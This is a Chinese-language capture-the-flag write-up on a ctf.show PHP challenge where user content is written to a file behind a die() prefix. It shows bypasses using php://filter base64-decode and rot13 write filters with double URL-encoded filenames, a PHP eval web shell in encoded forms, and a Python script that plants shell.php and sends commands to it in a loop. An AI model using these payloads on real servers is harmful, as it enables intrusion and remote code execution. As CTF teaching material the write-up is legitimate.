- 代码审计
```php <?php if(isset($_GET[‘file’])){ $file = $_GET[‘file’]; $content = $_POST[‘content’]; $file = str_replace(“php”, “???”, $file); $file = str_replace(“data”, “???”, $file); $file = str_replace(“:”, “???”, $file); $file = str_replace(“.”, “???”, $file); file_put_contents(urldecode($file), “<?php die(‘大佬别秀了’);?>”.$content);
}else{ highlightfile(_FILE); }
2. 这里要绕过死亡die程序,因为没有绕过的话,代码就结束了,不会执行我们的马儿,有三种方法,详细原理可参考P神-php://filter妙用文章,放在了参考文章后面。因为php版本太高的原因,第二种strip_tag不能使用,先讲讲使用base64编码的方法。
2. base64编码中只包含64个可打印字符,而PHP在解码base64时,遇到不在其中的字符时,将会跳过这些字符,仅将合法字符组成一个新的字符串进行解码。所以`<?php die('大佬别秀了');?>`对其解码后,只有`phpdie`六个字符组成字符串进行解码,这样就可以绕过`die`
2. 刚好`file_put_contents`是写文件,文件名支持`php伪协议`,所以可以先将内容写进文件,再进行解码,刚好文件名要进行`url`解码一次,那我们将`php伪协议`双重编码一下,就可以绕过了。
```shell
#1.双重url编码,burp就可以
php://filter/write=convert.base64-decode/resource=shell.php
%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%37%33%25%36%38%25%36%35%25%36%63%25%36%63%25%32%65%25%37%30%25%36%38%25%37%30
#2.对传入的一句话木马进行base64编码
<?php eval($_POST['cmd']);?>
PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==
#3.填充字符,避免一句话木马解码失败,解码后剩phpdie,一共6个字符,所以需要再加2个字符变8个
#因为base64算法解码时是4个byte一组,也就是8个字符一组
content=aaPD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==
- 访问我们写好的
shell.php
,利用工具提交 - 为了方便,写了一份py脚本
```python-- coding: utf-8 --
‘’’ @Time : 2021/7/8 17:53 @Author : Seals6 @File : web87.py @contact: 972480239@qq.com @blog: seals6.github.io
-- 功能说明 --
-- 更新说明 --
‘’’ import urllib import requests import base64 from urllib.parse import urlparse
url=”http://4ef7df70-9999-44b6-b90a-d5fca5939633.challenge.ctf.show:8080/“ str=”<?php eval($_POST[‘abc’]);?>” b64str=”aa”+bytes.decode(base64.b64encode(str.encode(“UTF-8”)))
print(b64str)
data={“content”:b64str}
这里只编码了一次,因为requests提交时会再编码一次
tmp_prefix=”%70%68%70%3a%2f%2f%66%69%6c%74%65%72%2f%77%72%69%74%65%3d%63%6f%6e%76%65%72%74%2e%62%61%73%65%36%34%2d%64%65%63%6f%64%65%2f%72%65%73%6f%75%72%63%65%3d%73%68%65%6c%6c%2e%70%68%70” params={“file”:tmp_prefix}
while True: r=requests.post(url=url,params=params,data=data)
# print(r.url)
r2=requests.get(url=url+"shell.php")
shell={"abc":input("[*]请输入代码执行内容: ")+";"+"echo '123';"}
if r2.status_code==200:
print("[*]"+"-"*10+"done"+"-"*10)
r3=requests.post(url=url+"shell.php",data=shell)
if '123' in r3.text:
print(r3.text)
else:
print("retry")

7. 这里讲讲`rot-13`的方法,原理和上面类似,核心是将“死亡exit”去除。`<?php exit; ?>`在经过rot13编码后会变成`<?cuc rkvg; ?>`,在PHP不开启short_open_tag时,php不认识这个字符串,当然也就不会执行了
```shell
#1.先将伪协议进行双重编码
php://filter/write=string.rot13/resource=2.php
%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%37%33%25%37%34%25%37%32%25%36%39%25%36%65%25%36%37%25%32%65%25%37%32%25%36%66%25%37%34%25%33%31%25%33%33%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%32%25%32%65%25%37%30%25%36%38%25%37%30
#2.将我们的一句话木马rot13编码,这样写文件之后会被解回来
<?php eval($_POST['abc']);?>
<?cuc riny($_CBFG['nop']);?>
- 访问我们的马儿,工具提交就行